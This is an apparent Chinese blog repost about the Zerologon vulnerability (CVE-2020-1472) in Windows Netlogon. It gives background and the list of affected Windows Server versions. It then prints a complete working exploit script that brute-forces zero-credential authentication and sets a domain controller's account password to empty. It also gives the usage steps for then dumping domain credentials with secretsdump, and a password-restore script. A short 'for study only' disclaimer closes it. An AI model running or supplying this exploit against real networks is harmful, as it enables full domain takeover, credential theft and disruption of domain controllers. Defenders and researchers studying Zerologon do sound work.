天天看點

CVE-2020-1472-poc-exp​

CVE-2020-1472-poc-exp​

“上個月,Microsoft修複了一個非常有趣的漏洞,該漏洞使在您内部網絡中立足的攻擊者基本上可以一鍵成為Domain Admin。從攻擊者的角度來看,所需要做的隻是連接配接到域控制器”

漏洞背景

Secura的安全專家Tom Tervoort以前曾在去年發現一個不太嚴重的Netlogon漏洞,該漏洞使工作站可以被接管,但攻擊者需要一個中間人(PitM)才能正常工作。現在,他在協定中發現了第二個更為嚴重的漏洞(CVSS分數:10.0)。通過僞造用于特定Netlogon功能的身份驗證令牌,他能夠調用一個功能以将域控制器的計算機密碼設定為已知值。之後,攻擊者可以使用此新密碼來控制域控制器并竊取域管理者的憑據。

該漏洞源于Netlogon遠端協定所使用的加密身份驗證方案中的一個缺陷,該缺陷可用于更新計算機密碼。此缺陷使攻擊者可以模拟任何計算機,包括域控制器本身,并代表他們執行遠端過程調用。

漏洞簡介

NetLogon元件

是 Windows 上一項重要的功能元件,用于使用者和機器在域内網絡上的認證,以及複制資料庫以進行域控備份,同時還用于維護域成員與域之間、域與域控之間、域DC與跨域DC之間的關系。

當攻擊者使用 Netlogon 遠端協定 (MS-NRPC) 建立與域控制器連接配接的易受攻擊的 Netlogon 安全通道時,存在特權提升漏洞。成功利用此漏洞的攻擊者可以在網絡中的裝置上運作經特殊設計的應用程式。

受影響的版本

· Windows Server 2008 R2 for x64-based Systems Service Pack 1

· Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)

· Windows Server 2012

· Windows Server 2012 (Server Core installation)

· Windows Server 2012 R2

· Windows Server 2012 R2 (Server Core installation)

· Windows Server 2016

· Windows Server 2016 (Server Core installation)

· Windows Server 2019

· Windows Server 2019 (Server Core installation)

· Windows Server, version 1903 (Server Core installation)

· Windows Server, version 1909 (Server Core installation)

· Windows Server, version 2004 (Server Core installation)

攻擊示例:

CVE-2020-1472-poc-exp​

使用方法

· 使用IP和DC的netbios名稱運作

cve-2020-1472-exploit.py

· DCsec與secretsdump,使用

-just-dc

-no-pass

或空哈希以及

DCHOSTNAME$

帳戶

cve-2020-1472-exploit.py

#!/usr/bin/env python3

from impacket.dcerpc.v5 import nrpc, epm
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5 import transport
from impacket import crypto

import hmac, hashlib, struct, sys, socket, time
from binascii import hexlify, unhexlify
from subprocess import check_call

# Give up brute-forcing after this many attempts. If vulnerable, 256 attempts are expected to be neccessary on average.
MAX_ATTEMPTS = 2000 # False negative chance: 0.04%

def fail(msg):
  print(msg, file=sys.stderr)
  print('This might have been caused by invalid arguments or network issues.', file=sys.stderr)
  sys.exit(2)

def try_zero_authenticate(dc_handle, dc_ip, target_computer):
  # Connect to the DC's Netlogon service.
  binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp')
  rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
  rpc_con.connect()
  rpc_con.bind(nrpc.MSRPC_UUID_NRPC)

  # Use an all-zero challenge and credential.
  plaintext = b'\x00' * 8
  ciphertext = b'\x00' * 8

  # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled.
  flags = 0x212fffff

  # Send challenge and authentication request.
  nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext)
  try:
    server_auth = nrpc.hNetrServerAuthenticate3(
      rpc_con, dc_handle + '\x00', target_computer + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
      target_computer + '\x00', ciphertext, flags
    )


    # It worked!
    assert server_auth['ErrorCode'] == 0
    return rpc_con

  except nrpc.DCERPCSessionError as ex:
    # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working.
    if ex.get_error_code() == 0xc0000022:
      return None
    else:
      fail(f'Unexpected error code from DC: {ex.get_error_code()}.')
  except BaseException as ex:
    fail(f'Unexpected error: {ex}.')

def exploit(dc_handle, rpc_con, target_computer):
    request = nrpc.NetrServerPasswordSet2()
    request['PrimaryName'] = dc_handle + '\x00'
    request['AccountName'] = target_computer + '$\x00'
    request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
    authenticator = nrpc.NETLOGON_AUTHENTICATOR()
    authenticator['Credential'] = b'\x00' * 8
    authenticator['Timestamp'] = 0
    request['Authenticator'] = authenticator
    request['ComputerName'] = target_computer + '\x00'
    request['ClearNewPassword'] = b'\x00' * 516
    return rpc_con.request(request)

def perform_attack(dc_handle, dc_ip, target_computer):
  # Keep authenticating until succesfull. Expected average number of attempts needed: 256.
  print('Performing authentication attempts...')
  rpc_con = None
  for attempt in range(0, MAX_ATTEMPTS):
    rpc_con = try_zero_authenticate(dc_handle, dc_ip, target_computer)

    if rpc_con == None:
      print('=', end='', flush=True)
    else:
      break


  if rpc_con:
    print('\nTarget vulnerable, changing account password to empty string')
    result = exploit(dc_handle, rpc_con, target_computer)
    print('\nResult: ', end='')
    print(result['ErrorCode'])
    if result['ErrorCode'] == 0:
        print('\nExploit complete!')
    else:
        print('Non-zero return code, something went wrong?')
  else:
    print('\nAttack failed. Target is probably patched.')
    sys.exit(1)


if __name__ == '__main__':
  if not (3 <= len(sys.argv) <= 4):
    print('Usage: zerologon_tester.py <dc-name> <dc-ip>\n')
    print('Tests whether a domain controller is vulnerable to the Zerologon attack. Resets the DC account password to an empty string when vulnerable.')
    print('Note: dc-name should be the (NetBIOS) computer name of the domain controller.')
    sys.exit(1)
  else:
    [_, dc_name, dc_ip] = sys.argv

    dc_name = dc_name.rstrip('$')
    perform_attack('\\\\' + dc_name, dc_ip, dc_name)           

複制

請注意:

預設情況下,這會更改域控制器帳戶的密碼。是的,這允許您進行DCSync,但同時也會中斷與其他域控制器的通信,是以請當心!

恢複步驟:

如果您確定secretsdump 中的這一行通過(

if True:

例如使它通過),secretsdump還将從系統資料庫中轉儲純文字(十六進制編碼)計算機帳戶密碼。您可以通過在同一DC上運作它并使用DA帳戶來執行此操作。

或者,您可以通過首先解壓縮系統資料庫配置單元然後脫機運作secretsdump來轉儲相同的密碼(然後它将始終列印明文密鑰,因為它無法計算Kerberos哈希,這省去了修改庫的麻煩)。

使用此密碼,您可以

restorepassword.py

使用

-hexpass

參數運作。這将首先使用空密碼向同一DC進行身份驗證,然後将密碼重新設定為原始密碼。確定再次提供netbios名稱和IP作為目标,例如:

python restorepassword.py testsegment/s2016dc@s2016dc -target-ip 192.168.222.113 -hexpass e6ad4c4f64e71cf8c8020aa44bbd70ee711b8dce2adecd7e0d7fd1d76d70a848c987450c5be97b230bd144f3c3...etc           

複制

restorepassword.py

#!/usr/bin/env python
# By @_dirkjan
# Uses impacket by SecureAuth Corp
# Based on work by Tom Tervoort (Secura)

import sys
import logging
import argparse
import codecs

from impacket.examples import logger
from impacket import version
from impacket.dcerpc.v5.nrpc import NetrServerPasswordSet2Response, NetrServerPasswordSet2
from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5.dtypes import NULL

from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5 import epm, nrpc
from Cryptodome.Cipher import AES
from binascii import unhexlify
from struct import pack, unpack

class ChangeMachinePassword:
    KNOWN_PROTOCOLS = {
        135: {'bindstr': r'ncacn_ip_tcp:%s',           'set_host': False},
        139: {'bindstr': r'ncacn_np:%s[\PIPE\netlogon]', 'set_host': True},
        445: {'bindstr': r'ncacn_np:%s[\PIPE\netlogon]', 'set_host': True},
        }

    def __init__(self, username='', password='', domain='', port = None,
                 hashes = None, domain_sids = False, maxRid=4000):

        self.__username = username
        self.__password = password
        self.__port = port
        self.__maxRid = int(maxRid)
        self.__domain = domain
        self.__lmhash = ''
        self.__nthash = ''
        self.__domain_sids = domain_sids
        if hashes is not None:
            self.__lmhash, self.__nthash = hashes.split(':')

    def dump(self, remoteName, remoteHost):


        stringbinding = epm.hept_map(remoteName, nrpc.MSRPC_UUID_NRPC, protocol = 'ncacn_ip_tcp')
        logging.info('StringBinding %s'%stringbinding)
        rpctransport = transport.DCERPCTransportFactory(stringbinding)
        dce = rpctransport.get_dce_rpc()
        dce.connect()
        dce.bind(nrpc.MSRPC_UUID_NRPC)

        resp = nrpc.hNetrServerReqChallenge(dce, NULL, remoteName + '\x00', b'12345678')
        serverChallenge = resp['ServerChallenge']

        ntHash = unhexlify(self.__nthash)

        # Empty at this point
        self.sessionKey = nrpc.ComputeSessionKeyAES('', b'12345678', serverChallenge)

        self.ppp = nrpc.ComputeNetlogonCredentialAES(b'12345678', self.sessionKey)

        try:
            resp = nrpc.hNetrServerAuthenticate3(dce, '\\\\' + remoteName + '\x00', self.__username + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,remoteName + '\x00',self.ppp, 0x212fffff )
        except Exception as e:
            if str(e).find('STATUS_DOWNGRADE_DETECTED') < 0:
                raise
        self.clientStoredCredential = pack('<Q', unpack('<Q',self.ppp)[0] + 10)

        request = NetrServerPasswordSet2()
        request['PrimaryName'] = '\\\\' + remoteName + '\x00'
        request['AccountName'] = remoteName + '$\x00'
        request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
        request['Authenticator'] = self.update_authenticator()
        request['ComputerName'] = remoteName + '\x00'
        encpassword = nrpc.ComputeNetlogonCredentialAES(self.__password, self.sessionKey)
        indata = b'\x00' * (512-len(self.__password)) + self.__password + pack('<L', len(self.__password))
        request['ClearNewPassword'] = nrpc.ComputeNetlogonCredentialAES(indata, self.sessionKey)
        result = dce.request(request)
        print('Change password OK')

    def update_authenticator(self, plus=10):
        authenticator = nrpc.NETLOGON_AUTHENTICATOR()
        authenticator['Credential'] = nrpc.ComputeNetlogonCredentialAES(self.clientStoredCredential, self.sessionKey)
        authenticator['Timestamp'] = plus
        return authenticator



# Process command-line arguments.
if __name__ == '__main__':
    # Init the example's logger theme
    logger.init()
    # Explicitly changing the stdout encoding format
    if sys.stdout.encoding is None:
        # Output is redirected to a file
        sys.stdout = codecs.getwriter('utf8')(sys.stdout)
    print(version.BANNER)

    parser = argparse.ArgumentParser()

    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')

    group = parser.add_argument_group('connection')

    group.add_argument('-target-ip', action='store', metavar="ip address", help='IP Address of the target machine. '
                       'If omitted it will use whatever was specified as target. This is useful when target is the '
                       'NetBIOS name and you cannot resolve it')
    group.add_argument('-port', choices=['135', '139', '445'], nargs='?', default='445', metavar="destination port",
                       help='Destination port to connect to SMB Server')
    group.add_argument('-domain-sids', action='store_true', help='Enumerate Domain SIDs (will likely forward requests to the DC)')

    group = parser.add_argument_group('authentication')
    group.add_argument('-hexpass', action="store", help='Hex encoded plaintext password')
    group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
    group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful when proxying through smbrelayx)')

    if len(sys.argv)==1:
        parser.print_help()
        sys.exit(1)

    options = parser.parse_args()

    import re

    domain, username, password, remoteName = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
        options.target).groups('')

    #In case the password contains '@'
    if '@' in remoteName:
        password = password + '@' + remoteName.rpartition('@')[0]
        remoteName = remoteName.rpartition('@')[2]

    if domain is None:
        domain = ''

    if password == '' and options.hexpass != '':
        password = unhexlify(options.hexpass)

    if password == '' and username != '' and options.hashes is None and options.no_pass is False:
        from getpass import getpass
        password = getpass("Password:")

    if options.target_ip is None:
        options.target_ip = remoteName

    action = ChangeMachinePassword(username, password, domain, int(options.port), options.hashes, options.domain_sids)
    action.dump(remoteName, options.target_ip)           

複制

Github項目位址:

https://github.com/dirkjanm/CVE-2020-1472

參考:

https://www.freebuf.com/articles/system/249860.html

https://www.ddosi.com/b393/

為了安全請将工具放在虛拟機運作!

作者不易!請點一下關注再走吧!

此文章僅供學習參考,不得用于違法犯罪!